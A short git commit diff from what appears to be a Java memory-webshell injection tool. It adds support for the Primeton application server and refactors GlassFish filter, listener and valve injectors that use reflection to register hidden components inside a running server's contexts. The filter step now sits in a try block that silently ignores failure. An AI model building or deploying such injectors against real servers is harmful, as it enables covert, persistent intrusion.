feat: support Primeton App Server

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent b341082f2b
commit ceb19d2dae
4 changed files with 17 additions and 15 deletions
@@ -131,6 +131,11 @@ public enum Server {
*/ */
InforSuite(new InforSuiteShell()), InforSuite(new InforSuiteShell()),
/**
* 普元中间件
*/
Primeton(new GlassFishShell()),
/** /**
* XXL-JOB * XXL-JOB
*/ */
@@ -53,9 +53,7 @@ public class GlassFishFilterInjector {
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }
@@ -99,12 +97,15 @@ public class GlassFishFilterInjector {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
} }
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); try {
constructors[0].setAccessible(true); Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
Object filterConfig = constructors[0].newInstance(context, filterDef); constructors[0].setAccessible(true);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs"); Object filterConfig = constructors[0].newInstance(context, filterDef);
filterConfigs.put(filterName, filterConfig); HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
log.info("filter added successfully"); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully");
} catch (Exception ignored) {
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -50,9 +50,7 @@ public class GlassFishListenerInjector {
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }
@@ -46,9 +46,7 @@ public class GlassFishValveInjector {
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) { contexts.addAll(children.values());
contexts.add(context);
}
} }
} }
} }